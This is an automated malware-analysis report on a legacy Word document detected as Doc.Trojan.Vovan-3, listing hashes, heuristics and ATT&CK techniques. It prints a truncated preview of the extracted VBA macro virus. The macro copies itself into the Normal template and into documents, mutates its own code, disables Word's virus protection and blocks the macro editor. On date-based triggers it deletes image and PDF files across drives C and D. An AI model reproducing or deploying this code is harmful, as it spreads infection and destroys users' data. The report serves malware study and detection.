Office (OLE) malware analysis — malicious · a2e8f7d67be9ad1e

MALICIOUS

Office (OLE)

40.5 KB Created: 1999-10-03 08:19:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: 99be21ba51aee9fb996f13bc83823278 SHA-1: 057cdcb0446e0427aad77abba6c14f0f2a82eef7 SHA-256: a2e8f7d67be9ad1e726dc359e215ca43cf1ffd6d0aac6ff9ef27e2f3dbc9bcd9

220 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic and VBA macros, including an AutoOpen subroutine, which are indicative of malicious intent. The presence of 'Doc.Trojan.Vovan-3' by ClamAV further supports this. The AutoOpen macro attempts to execute a 'Polymorphic' subroutine and manipulate application settings, suggesting it's designed to download and execute further malicious content.

Heuristics 4

ClamAV: Doc.Trojan.Vovan-3 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Vovan-3
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	22015 bytes
SHA-256: `78ba290434ca1d114aec8c3e6361ce1bae36103fe40e2b72b3b68b7ffd1d1250`
Detection ClamAV: Doc.Trojan.Vovan-3 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "xxx" Sub AutoOpen() On Error Resume Next Polymorphic Application.ShowVisualBasicEditor = False Application.ScreenUpdating = False Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="xxx", Object:=wdOrganizerObjectProjectItems ActiveDocument.Save End Sub Sub AutoExit() On Error Resume Next Application.ScreenUpdating = False Options.SaveNormalPrompt = False If Day(Now()) = Month(Now()) Then Call Abc If Day(Now()) = Minute(Now()) Then Call Abc If Day(Now()) = Hour(Now()) Then Call Abc If Day(Now()) = WeekDay(Now()) Then Call Abc If Hour(Now()) = Minute(Now()) Then Call Abc If Hour(Now()) = WeekDay(Now()) Then Call Abc If Hour(Now()) = Month(Now()) Then Call Abc If Minute(Now()) = Month(Now()) Then Call Abc If Minute(Now()) = WeekDay(Now()) Then Call Abc If Month(Now()) = WeekDay(Now()) Then Call Abc Options.VirusProtection = True End Sub Sub AutoExec() On Error Resume Next Options.VirusProtection = False End Sub Sub FileOpen() On Error Resume Next WordBasic.DisableAutoMacros Dialogs(wdDialogFileOpen).Show WordBasic.EnableAutoMacros Call FileSave End Sub Sub FileSave() On Error Resume Next Application.ScreenUpdating = False Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="xxx", Object:=wdOrganizerObjectProjectItems Polymorphic Rem 242,9122 8,509574 159,9063 121,7117 0,7694919 ActiveDocument.Save End Sub Sub FileSaveAs() On Error Resume Next Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="xxx", Object:=wdOrganizerObjectProjectItems Polymorphic Rem 73,00089 13,02573 103,4539 73,81318 20,22557 Dialogs(wdDialogFileSaveAs).Show End Sub Rem 173,8149 24,07764 151,7714 176,3693 19,66734 Sub ToolsMacro() Rem 283,327 51,8257 42,20687 50,28157 40,66028 Call AntiAvp End Sub Sub FileTemplates() Call AntiAvp End Sub Sub ViewVBcode() Call AntiAvp End Sub Sub Organizer() Call AntiAvp Rem 238,8151 61,36893 8,560724 106,6425 22,9663 End Sub Sub ToolsRecordMacroStart() Call AntiAvp End Sub Sub ToolsRecordMacroToggle() Call AntiAvp End Sub Sub Polymorphic() On Error Resume Next xXxX = Int(Rnd() * 6 + 1) For Mutagen = 1 To xXxX ZzZz = Application.VBE.ActiveVBProject.VBComponents("xxx").CodeModule.CountOfLines qwer = Int(Rnd() * ZzZz + 1) a = Rnd * 455: b = Rnd * 80: c = Rnd * 160: D = Rnd * 180: e = Rnd * 49 Application.VBE.ActiveVBProject.VBComponents("xxx").CodeModule.InsertLines qwer, "Rem " & a & vbTab & b & vbTab & c & vbTab & D & vbTab & e Next Mutagen End Sub Sub Abc() On Error Resume Next Dim D Rem 263,681 23,165 48,31168 139,4532 0,6868644 Randomize D = Int((4 * Rnd) + 1) If D = 1 Then GoTo Picture If D = 2 Then GoTo Sound If D = 3 Then GoTo Video If D = 4 Then End Picture: Rem 45,52377 8,241811 127,8215 51,20645 2,236809 Set fs = Application.FileSearch fs.LookIn = "C:\ ; D:\" Rem 448,6724 72,87714 36,29856 125,1208 48,02016 fs.SearchSubFolders = True fs.FileName = ".jpg ; .bmp ; .gif ; .pcx ; .png ; .tif ; .tga ; .psd ; .pdd ; .iff ; .rle ; .eps ; .fpx ; .jpe ; .ani ; .ico ; .cur ; .wif ; .dcx ; .lbm ; .wmf ; .pif" fs.Execute For G = 1 To fs.FoundFiles.Count SetAttr fs.FoundFiles(G), 0 Kill fs.FoundFiles(G) Next G fs.LookIn = "C:\ ; D:\" fs.SearchSubFolders = True fs.FileName = ".pdf ; .pct ; .pic ; .pxr ; .rng ; .raw ; .sct ; .vda ; .icb ; .vst ; .xfp ; .xfd ; .lpi ; .ans ; .rip ; .icl ; .pcd ; .xif ; .dib ; .jif ; .awd ; .lnk" fs.Execute For Y = 1 To fs.FoundFiles.Count SetAttr fs.FoundFiles(Y), 0 Kill fs.FoundFiles(Y) Next Y GoTo 1 Sound: Set fs = Application.FileSearch ... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.